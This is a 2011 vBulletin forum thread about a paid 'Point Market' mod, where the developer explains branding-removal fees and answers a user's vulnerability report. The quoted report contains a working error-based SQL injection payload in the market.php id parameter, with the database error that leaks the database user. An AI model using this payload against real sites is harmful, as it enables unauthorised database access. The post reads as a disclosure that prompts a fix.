
05-25-2011, 08:34 PM
|
 |
|
|
Join Date: Oct 2002
Location: Pittsburgh, Pa
Posts: 526
Благодарил(а): 0 раз(а)
Поблагодарили:
0 раз(а) в 0 сообщениях
|
|
Quote:
Originally Posted by Card+++++
I understand your position. It just seems to be a bit overboard imo. If I find myself looking to invest in a mod like this, I may reinstall and pay for the branding removal. Great mod though.
|
Trust me it's very discouraging for me as the developer to go out and find other non sanctioned vb sites where they were charging people for my mod or taking credit as creating the modification. This was the only way I could figure out how to limit there stealing of it or at least be able to track them if they purchase a branding removal version.
Quote:
Originally Posted by Muazam
It's not secure. Mysql Injections below:
Code:
Database error in vBulletin 4.1.3:
Invalid SQL:
SELECT * from market_items where `marketid` = 16 AND (SELECT 3794 FROM(SELECT COUNT(*),CONCAT(CHAR(58,119,114,108,58),(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32))),1,50)),CHAR(58,119,115,101,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a);
MySQL Error : Duplicate entry ':wrl:root@localhost:wse:1' for key 1
Error Number : 1062
Request Date : Sunday, May 15th 2011 @ 03:22:53 AM
Error Date : Sunday, May 15th 2011 @ 03:22:53 AM
Script : /market.php?do=cat&id=16%20AND%20%28SELECT%203794%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%28CHAR%2858%2C119%2C114%2C108%2C58%29%2C%28MID%28%28IFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2CCHAR%2832%29%29%29%2C1%2C50%29%29%2CCHAR%2858%2C119%2C115%2C101%2C58%29%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20information_schema.tables%20GROUP%20BY%20x%29a%29
This is not safe at all, I'm not sure what the code does. But it looks like its reading the account table? Please look into it.
|
Your using Point Market version 3.0.1. Please upgrade to 3.1.0 and that will be fixed
|